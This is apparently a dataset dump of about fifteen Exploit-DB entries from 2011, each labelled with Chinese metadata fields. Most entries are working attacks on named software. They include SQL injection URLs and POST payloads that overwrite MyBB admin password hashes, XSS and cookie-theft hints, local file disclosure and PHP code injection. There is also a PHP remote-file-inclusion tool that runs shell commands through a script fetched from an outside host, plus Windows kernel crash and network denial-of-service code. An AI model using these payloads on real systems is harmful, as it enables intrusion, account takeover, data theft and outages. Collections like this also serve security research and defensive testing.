QLWD/code_shield huggingface dataset:
标题: Joomla! Component HM Community - Multiple Vulnerabilities EDB-ID: 18050 CVE: 2011-4809 2011-4808 类型: WEBAPPS 平台: PHP 发布日期: 2011-10-31 漏洞利用脚本: _00000__00000__00000__00000__0___0__00000____0___0___000___0___0_
_0______0___0__0___0__0______00_00__0________00_00__0___0__00_00_
_0000___00000__00000__00000__0_0_0__00000____0_0_0__0___0__0_0_0_
_____0______0______0__0______0___0__0________0___0__00000__0___0_
_0000___00000__00000__00000__0___0__00000____0___0__0___0__0___0_
_________________________________________________________________


# [+] Joomla Compenent com_hmcommunity Multiple Vulnerabilities
# [+] Software : Joomla
# [+] Download : http://joomlaextensions.co.in/product/HM-Community
# [+] Author : 599eme Man
# [+] Contact : Flouf@live.fr
#
#[------------------------------------------------------------------------------------]
# 
# [+] Vulnerabilities
#
#  [+] SQL
#
#    - http://site.com/index.php?option=com_hmcommunity&view=fnd_home&id=[NB] union select all 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
#
#  [+] Blind SQL
#
#    - http://site.com//index.php?option=com_hmcommunity&view=fnd_home&id=155 and @@version=5
#
#  [+] Persistent XSS
#
#    - The XSS is on the profile. You have to create an account and put your code in inputs.
#
# [+] Demo
#
#   - Create an account and look this profile : http://site.com/index.php?option=com_hmcommunity&view=fnd_profile&uid=155
#
#[------------------------------------------------------------------------------------]
#
######################################################################################################### URL: https://www.exploit-db.com/exploits/18050
标题: WordPress Plugin wptouch - SQL Injection EDB-ID: 18039 CVE: 2011-4803 类型: WEBAPPS 平台: PHP 发布日期: 2011-10-27 漏洞利用脚本: # Exploit Title: WordPress wptouch plugin SQL Injection Vulnerability
# Date: 2011-27-10
# Author: longrifle0x
# software: Wordpress
# Tools: SQLMAP
---------------
(POST data)
---------------

http://www.site.com/wp-content/plugins/wptouch/ajax.php

#Exploit: id=-1; id=- AND SLEEP(5) or 1=if

http://site.com/wp-content/plugins/wptouch/ajax.php][GET][id=-1][CURRENT_USER()

http://site.com/wp-content/plugins/wptouch/ajax.php][GET][id=-1][SELECT
(CASE WHEN ((SELECT super_priv FROMmysql.user WHERE user='None' LIMIT
0,1)='Y') THEN 1 ELSE 0 END)

http://site.com/wp-content/plugins/wptouch/ajax.php][GET][id=-1][MID((VERSION()),1,6) URL: https://www.exploit-db.com/exploits/18039
标题: PHP Photo Album 0.4.1.16 - Multiple Disclosure Vulnerabilities EDB-ID: 18045 CVE: 2011-4807 2011-4806 2005-3948 类型: WEBAPPS 平台: PHP 发布日期: 2011-10-29 漏洞利用脚本: ----------------------------------------------------------------
PHP Photo Album <= (0.4.1.16) Multiple Disclosure Vulnerabilities
----------------------------------------------------------------

# Exploit Title: PHP Photo Album <= (0.4.1.16) Multiple Disclosure
Vulnerabilities
# Google Dork: inurl:main.php?cmd=imageview&var1=
# Application Name: [PHP Photo Album]
# Date: 2011-10-29
# Author: BHG Security Center
# Home: Http://black-hg.org
# Software Link: [ http://www.phpalbum.net/dw ]
# Version: [ 0.4.1.16 ]
# Impact : [ High ]
# Tested on: [linux+apache]
# CVE : Webapps
# Finder(s):
    - Net.Edit0r (Net.edit0r [at] att [dot] net)
    - tHe.k!ll3r (Attack-bhg [at] att [dot] net)
    - 2MzRp  (mzrp2 [at] Yahoo [dot] com )

# Description: : Given the vulnerability you want to read files on the
server must have access

+-----------------------+
| Cross Site scripting  |
+-----------------------+

The vulnerable code is located in /www/main.php?cmd=imageview&var1=[XSS]


Proof of Concept:
-----------------


~ PoC : http://localhost/phpAlbum/main.php?cmd=imageview&var1=[XSS]

~ Poc 2

http://localhost/phpAlbum/main.php?cmd=albumnew&keyword=[XSS]

+----------------------+
| Download/Source Code |
+----------------------+

The vulnerable code is located in /www/main.php

Proof of Concept:
-----------------

~ PoC : http://localhost/phpAlbum/main.php?cmd=image&var1=[LFD]

~ PoC : http://localhost/phpAlbum/main.php?cmd=image&var1=../main.php

~ PoC 2 : http://localhost/main.php?cmd=themeimage&var1=[LFD]

# Important Notes:

Php files from source to display (Veiw Page Source) your browser


+--------------------+
| PHP Code Injection |
+--------------------+

The vulnerable code is located in /www/main.php

124 :       Array
125 :       (
126 :              [0] => cmd=phpinfo
127 :        )


Proof of Concept:
-----------------

~ PoC : http://localhost/phpAlbum/main.php?cmd=phpinfo

~ PoC : http://localhost/demo3/main.php?keyword=hack&cmd=phpinfo

~ PoC 2 http://localhost/main.php?cmd=setquality&var1=[PHP Code Injection]


[-] Disclosure timeline:

[12/10/2011] - Vulnerabilities discovered
[14/10/2011] - Others vulnerabilities discovered
[15/10/2011] - Issues reported to http://black-hg.org
[29/10/2011] - Public disclosure


# Greets To :

Net.Edit0r ~ A.Cr0x ~ 3H34N ~ 4m!n ~ Cyrus ~ tHe.k!ll3r ~ 2MzRp ~
ArYaIeIrAn ~ Mikili

cmaxx ~ G3n3Rall ~ Mr.XHat ~  M4hd1 ~ Cru3l.b0y ~ HUrr!c4nE ~ r3v0lter
~ NoL1m1t

s3cure.p0rt ~ THANKS TO ALL Iranian HackerZ  ./Persian Gulf

===========================================[End]============================================= URL: https://www.exploit-db.com/exploits/18045
标题: Microsoft Win32k - Null Pointer De-reference (PoC) (MS11-077) EDB-ID: 18024 CVE: 2011-1985 类型: DOS 平台: WINDOWS 发布日期: 2011-10-23 漏洞利用脚本: # Exploit Title: MS11-077 Win32k Null Pointer De-reference Vulnerability POC
# Date: 10/19/2011
# Author: KiDebug
# Version: Windows XP SP3 32bit
# Tested on: Windows XP SP3 32bit
# CVE : CVE-2011-1985

# Exploit Code. Only a single line of code can cause BSOD:

#include <Windows.h>

void main()
{
 SendMessageCallback((HWND)-1,CB_ADDSTRING,0,0,0,0);
}

or:

#include <Windows.h>

void main()
{
 SendNotifyMessage((HWND)-1,CB_ADDSTRING,0,0);
}

Those messages can aslo cause BSOD:

// CB_ADDSTRING             0x0143
// CB_INSERTSTRING          0x014A
// CB_FINDSTRING            0x014C
// CB_SELECTSTRING          0x014D
// CB_FINDSTRINGEXACT       0x0158
// LB_ADDSTRING             0x0180
// LB_INSERTSTRING          0x0181
// LB_SELECTSTRING          0x018C
// LB_FINDSTRING            0x018F
// LB_FINDSTRINGEXACT       0x01A2
// LB_INSERTSTRINGUPPER     0x01AA
// LB_INSERTSTRINGLOWER     0x01AB
// LB_ADDSTRINGUPPER        0x01AC
// LB_ADDSTRINGLOWER        0x01AD


0: kd> r
eax=0000001b ebx=ee0af1fa ecx=ffffffff edx=bbdd0650 esi=ffffffff edi=ee21fd64
eip=bf914e9b esp=ee21fd08 ebp=ee21fd08 iopl=0         nv up ei pl nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010206
win32k!NtUserfnINCBOXSTRING+0x8:
bf914e9b 8b4120          mov     eax,dword ptr [ecx+20h] ds:0023:0000001f=????????

0: kd> kp
ChildEBP RetAddr 
ee21fd08 bf80ef2b win32k!NtUserfnINCBOXSTRING+0x8
ee21fd40 8054261c win32k!NtUserMessageCall+0xae
ee21fd40 7c92e4f4 nt!KiFastCallEntry+0xfc
0012ff2c 77d194be ntdll!KiFastSystemCallRet
0012ff5c 00401015 USER32!NtUserMessageCall+0xc
0012ff78 0040114c 1!main(void)+0x15 [[r:\temp\1\1.cpp @ 6]
0012ffc0 7c817067 1!__tmainCRTStartup(void)+0x10b [f:\dd\vctools\crt_bld\self_x86\crt\src\crt0.c @ 278]
0012fff0 00000000 kernel32!BaseProcessStart+0x23 URL: https://www.exploit-db.com/exploits/18024
标题: Jara 1.6 - SQL Injection EDB-ID: 18020 CVE: 2011-4094 类型: WEBAPPS 平台: PHP 发布日期: 2011-10-23 漏洞利用脚本: jara 1.6 sql injection vulnerability

download  http://sourceforge.net/projects/jara/files/v1.6/jarav16.zip

author      muuratsalo
contact     muuratsalo[at]gmail.com

exploit
http://localhost/jara/view.php?id=[SQL Injection] URL: https://www.exploit-db.com/exploits/18020
标题: Online Subtitles Workshop - Cross-Site Scripting EDB-ID: 18035 CVE: 2011-5185 类型: WEBAPPS 平台: PHP 发布日期: 2011-10-26 漏洞利用脚本: ===================================================================================
 Online Subtitles Workshop XSS vulnerabilities
===================================================================================
# Exploit Title: Online Subtitles Workshop XSS vulnerabilities
# Author: M.Jock3R (www.the-code.tk)
# Script Download: http://sourceforge.net/projects/onlinesubtitles/files/
# Category:: webapps
# Tested on: windows XP Sp2 FR
===================================================================================

Vuln file: video_comments.php

Vuln code:
---------
$all_comments = read_video_comments($video_id);

//print_r($all_comments);

$video_comments = "";

for ($i = 0; $i <= count($all_comments)-1; $i++) {

    $video_comments = $video_comments . "
<table style='width:100%'>
<tr>
<td style='width:100%'>
".get_user_name($all_comments[$i]['id'])."
</td>
<td>

".date('h:i:s A m-d-Y ', $all_comments[$i]['time'])." 
</td>
</tr>
<tr>
<td colspan='7'>
".$all_comments[$i]['message']." <== Here you can inject any HTML or Javascript code :)
</td>
</tr>
</table>
<br>
";

Exploit:
---------
First,Choose any video.
Go to comments, and write for example : <marquee><font color=red size=15>M.jock3r</font>/marquee>
-Or you can steal the cookies of any one browse the video page :)

===================================================================================
Greets To :
the C0de team / sa-hacker.com

Email : madrido.jocker@gmail.com
  
THANKS TO ALL ALGERIANS HACK3RS
=================================================================================== URL: https://www.exploit-db.com/exploits/18035
标题: SportsPHool 1.0 - Remote File Inclusion EDB-ID: 18018 CVE: 2006-4278 类型: WEBAPPS 平台: PHP 发布日期: 2011-10-21 漏洞利用脚本: <?php

/*
Sports PHool <= 1.0 Remote File Include Exploit
Found and c0ded by cr4wl3r @hackb0x
d0rk: no d0rk f0r kiddi0ts
Script:  http://sourceforge.net/projects/sportsphool/files/

usage:
target: http://target/sportsphool/includes/layout/plain.footer.php?mainnav=
evil: http://hackb0x/evilscript.txt?

*/

$cmd = $_POST["cmd"];
$target = $_POST["target"];
$evil = $_POST["evil"];

$form= "<form method=\"post\" action=\"".$PHP_SELF."\">"
    ."target:<br><input type=\"text\" name=\"target\" size=\"90\" value=\"".$target."\"><br>"
    ."evil:<br><input type=\"text\" name=\"evil\" size=\"90\" value=\"".$evil."\"><br>"
    ."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\" value=\"".$cmd."\"><br>"
    ."<input type=\"submit\" value=\"Submit\" name=\"submit\">"
    ."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";

if (!isset($_POST['submit'])) 
{

echo $form;

}else{

$file = fopen ("test.txt", "w+");

fwrite($file, "<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\"); 
system(\"echo ++END++\"); ?>");
fclose($file);

$file = fopen ($target.$evil, "r");
if (!$file) {
    echo "<p>Unable to get output.\n";
    exit;
}

echo $form;

while (!feof ($file)) {
    $line .= fgets ($file, 1024)."<br>";
    }
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;

}
?> URL: https://www.exploit-db.com/exploits/18018
标题: OCS Inventory NG 2.0.1 - Persistent Cross-Site Scripting EDB-ID: 18005 CVE: 2011-4024 类型: WEBAPPS 平台: WINDOWS 发布日期: 2011-10-20 漏洞利用脚本: OCS Inventory NG 2.0.1 - Persistent XSS (CVE-2011-4024)
-------------------------------------------------------

Software      : Open Computer and Software (OCS) Inventory NG
Download      : http://www.ocsinventory-ng.org/
Discovered by : Nicolas DEROUET (nicolas.derouet[gmail]com)
Discover      : 2011-10-04
Published     : 2011-10-05
Version       : 2.0.1 and prior
Impact        : Persistent XSS
Remote        : Yes (No authentication is needed)
CVE-ID        : CVE-2011-4024


Info
----

Open Computer and Software (OCS) Inventory Next Generation (NG) is an
application designed to help a network or system administrator keep track
of the computers configuration and software that are installed on the network.


Details
-------

The vulnerability is in the data sent by the agent OCS. The inventory service
and the admin panel does not control the data received. An attacker could inject
malicous HTML/JS through into the inventory information (eg. the computer
description field under WinXP). This data is printed in the admin panel wich
can lead to a session hijack or whatever you want.


PoC
---

1. Enter the XSS script (eg. <script>alert(String.fromCharCode(88,83,83))</script>)
   in the computer description field. (WinXP > System Properties > Computer
   Name > Computer Description)
   
2. Launch an inventory with OCS Agent

3. Go on the admin panel (http://SERVER/ocsreports/)

4. View your computer detail 

Tested on     : OCS Agent 2.0.1 (WinXP SP3) and OCS Server 2.0.1 (Windows).
Not tested on : Linux Plateform and GLPI (OCS import)


Solution
--------

Upgrade to OCS Inventory NG 2.0.2 URL: https://www.exploit-db.com/exploits/18005
标题: Pre Studio Business Cards Designer - SQL Injection EDB-ID: 18009 CVE: 2011-5139 类型: WEBAPPS 平台: ASP 发布日期: 2011-10-20 漏洞利用脚本: =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Exploit Title: Pre Studio Business Cards Designer SQL Injection Vulnerability
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Author: dr_zig
Date: 20-10-2011
Software Link: http://www.preprojects.com/card.asp
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

proof of concept:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://example.com/prestudio/page.php?id=[SQL Injection]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ URL: https://www.exploit-db.com/exploits/18009
标题: GNUBoard 4.33.02 - 'tp.php?PATH_INFO' SQL Injection EDB-ID: 17992 CVE: 2011-4066 类型: WEBAPPS 平台: PHP 发布日期: 2011-10-17 漏洞利用脚本: # Exploit Title: Gnuboard <= 4.33.02 PATH_INFO SQL INJECTION Vulnerability
# Google Dork: inurl:gnuboard4/bbs/board.php
# Date: 2011-2-14
# Author: flyh4t
# Software Link: http://sir.co.kr/main/gnuboard4/
# Version: Gnuboard <= 4.33.02
# Tested on: linux+apache
# CVE : CVE-2011-4066


Gnuboard <= 4.33.02 PATH_INFO SQL INJECTION Vulnerability
---------------------------------
Bug found By Flyh4t & alpha.liu
mail:
flyh4t phpsec@hotmail.com
alpha  alpha@patching.net
Site:bbs.wolvez.org
---------------------------------
SIR GNUBoard(http://sir.co.kr) is a widely used bulletin board system of Korea.  
It is freely available for all platforms that supports PHP and MySQL.  
But we find a SQL INJECTION affects SIR GNUBoard version 4.33.02 
The codes can be download here
http://sir.co.kr/main/gnuboard4/
Here is the Vulnerability code in /bbs/tb.php
 
-----------------------vul code-------------------
//bbs/tb.php
$arr = explode("/", $_SERVER[PATH_INFO]);
//$_SERVER[PATH_INFO] is not affected by the magic_quotes_gpc set of php
//we can inject arbitrary sql code include single quotes through $_SERVER[PATH_INFO] 
$bo_table = $arr[1];
$wr_id = $arr[2];
$to_token = $arr[3];
//we can pass arbitrary sql code to $bo_table 
$write_table   = $g4[write_prefix] . $bo_table;
// $write_table can be injected through $bo_table
$sql = " select wr_id, ca_name, wr_email from $write_table where wr_id = '$wr_id' ";
//here $write_table lead to sql injection,and no need of  single quotes
$wr = sql_fetch($sql, FALSE);
if (!$wr[wr_id] || !($_POST[title] && $_POST[excerpt] && $_POST[url] && $_POST[blog_name])) 
{
    $tmp_dir = str_replace("/tb.php", "", $_SERVER[SCRIPT_NAME]);
    header("location:$tmp_dir/board.php?bo_table=$bo_table&wr_id=$wr_id");
    exit;
}
-----------------------vul code end-------------------

-----------------------poc------------------------
bbs/tb.php/[sql]/[sql]
-------------------------------------------------- URL: https://www.exploit-db.com/exploits/17992
标题: Microsoft Windows - '.fon' Kernel-Mode Buffer Overrun (PoC) (MS11-077) EDB-ID: 17978 CVE: 2011-2003 类型: DOS 平台: WINDOWS 发布日期: 2011-10-13 漏洞利用脚本: # Exploit Title: MS11-077 .fon buffer overrun kernel-mode drivers exploit
# Google Dork: [if relevant] �(we will automatically add these to the GHDB)
# Date: 10/12/2011
# Author: Byoungyoung Lee, http://www.cc.gatech.edu/~blee303/
# Software Link:
# Version: Windows 7 32bit, fully patched until Sep. 2011
# Tested on: Windows 7 32bit
# CVE : CVE-2011-2003

Exploit is downloadable from:

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17978.tar.gz (my.fon.tar.gz)

http://exploitshop.wordpress.com/2011/10/12/ms11-077-vulnerabilities-in-windows-kernel-mode-drivers-could-allow-remote-code-execution-2567053/

Byoungyoung URL: https://www.exploit-db.com/exploits/17978
标题: Microsoft Windows - TCP/IP Stack Denial of Service (MS11-064) EDB-ID: 17981 CVE: 2011-1965 类型: DOS 平台: WINDOWS 发布日期: 2011-10-15 漏洞利用脚本: # Exploit Title: MS11-064 : Vulnerabilities in TCP/IP Stack Could
Allow Denial of Service
# Date: 10/12/2011
# Author: Byoungyoung Lee, http://www.cc.gatech.edu/~blee303/
# Version: Windows 7 32bit, fully patched until Aug 2011
# Tested on: Windows 7 32bit
# CVE : CVE-2011-1965

# analysis is available -
http://exploitshop.wordpress.com/2011/09/07/ms11-064-vulnerabilities-in-tcpip-stack-could-allow-denial-of-service-2563894/

------------------------------------------------------------------------------------------------------
# Byoungyoung Lee, http://twitter.com/mylifeasageek
import struct
import socket

HOST = "localhost" # yeah, we've tried this as a local kernel exploit -:)
PORT= 80

def tryOnce(i,j):
    print hex(i), hex(j)
    filename = ["a"*0x100 for x in range(i)]

    filename = "/".join(filename)
    filename += "/" + "b" * j
    print "filename len : ", hex(len(filename))

    hostname = "www.darungrim.org"

    header = "GET /%s\n" % filename
    header += "HOST: %s\n\n\n" % hostname

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST,PORT))
    s.send(header)
    response = s.recv(1024)
    s.close()
    print response
    return

if __name__ == '__main__':
    tryOnce(0x3c,0x7) URL: https://www.exploit-db.com/exploits/17981
标题: MyBB Forum Userbar Plugin (Userbar 2.2) - SQL Injection EDB-ID: 17962 CVE: 2011-4569 类型: WEBAPPS 平台: PHP 发布日期: 2011-10-10 漏洞利用脚本: ---------------------------------------------------------------------
Exploit Title : MyBB Forum Userbar Plugin (Userbar v2.2)
---------------------------------------------------------------------

Author      : Mario_Vs
Date        : 10/10/2011
Site        : http://mariovs.pl/
@       : mario_vs[at]o2.pl
---------------------------------------------------------------------

Description >

Vendor      : http://mods.mybb.com/download/userbar-plugin
Tested On   : Windows 7
---------------------------------------------------------------------

SQL Injection

>> userbarsettings.php

POST -> setting1=1&setting2=1&setting3=3&image2=1',password='90be07bf33c5e547c3e78b236a83f497',salt='aXZV15uC&uid=1&submit=Submit
---------------------------------------------------------------------

---------------------------------------------------------------------

Greets To: linc0ln.dll, j4ck, lDoran, ElusiveN, d3dik, thc_flow, PricK, artii2

All users: HackinQ.pl URL: https://www.exploit-db.com/exploits/17962
标题: MyBB Advanced Forum Signatures - 'afsignatures-2.0.4' SQL Injection EDB-ID: 17961 CVE: 2011-5278 2011-5277 类型: WEBAPPS 平台: PHP 发布日期: 2011-10-10 漏洞利用脚本: ---------------------------------------------------------------------
Exploit Title : MyBB Advanced Forum Signatures (afsignatures-2.0.4)
---------------------------------------------------------------------

Author      : Mario_Vs
Date        : 10/10/2011
Site        : http://mariovs.pl/
@       : mario_vs[at]o2.pl
---------------------------------------------------------------------

Description >

Vendor      : http://mods.mybb.com/download/advanced-forum-signatures
Tested On   : Windows 7
---------------------------------------------------------------------

SQL Injection

>> signature.php

POST -> afs_html=<a+href="http://localhost/mybb"><img+src="http://localhost/mybb/signature.php?uid=1"+alt=""+/></a>&afs_bbcode=[url=http://localhost/mybb][img]http://localhost/mybb/signature.php?uid=1[/img][/url]&afs_type=bar&afs_background=Default_Blue&afs_showonline=1&afs_full_line1=username&afs_full_line2=usergroup&afs_full_line3=postcount&afs_full_line4=registrationdate&afs_full_line5=reputation&afs_full_line6=blank&afs_bar_left=username&afs_bar_center=usergroup&afs_bar_right=postcount' , `password`= '65a1447de8e73ae67a938ae997ad4ed4', `salt`= 'NPOvUCXg'  WHERE `uid`='1';-- 
---------------------------------------------------------------------

---------------------------------------------------------------------

Greets To: linc0ln.dll, j4ck, lDoran, ElusiveN, d3dik, thc_flow, PricK, artii2

All users: HackinQ.pl URL: https://www.exploit-db.com/exploits/17961
标题: OPC Systems.NET 4.00.0048 - Denial of Service EDB-ID: 17965 CVE: 2011-4871 类型: DOS 平台: WINDOWS 发布日期: 2011-10-10 漏洞利用脚本: #######################################################################

                             Luigi Auriemma

Application:  OPC Systems.NET
              http://www.opcsystems.com/opc_systems_net.htm
Versions:     <= 4.00.0048
Platforms:    Windows
Bug:          Denial of Service
Exploitation: remote
Date:         10 Oct 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's website:
"As a Service Oriented Architecture the OPC Systems Service can connect
to data from OPC Servers, OPC Clients, Visual Studio Applications,
Microsoft Excel, and databases ... breakthrough .NET products for
SCADA, HMI, and plant floor to business solutions to shorten your
development to deployment time."


#######################################################################

======
2) Bug
======


OPCSystemsService.exe can be freezed with CPU at 100% through a
malformed .NET RPC packet.
No additional research performed.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/udpsz.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17879.zip

  udpsz -l 2000 -c ".NET\1\0\0\0\0\0\xff\xff\xff\xff\4\0\1\1\x25\0\0\0tcp://127.0.0.1/OPC Systems Interface\6\0\1\1" -T SERVER 58723 0x80


#######################################################################

======
4) Fix
======


No fix.


####################################################################### URL: https://www.exploit-db.com/exploits/17965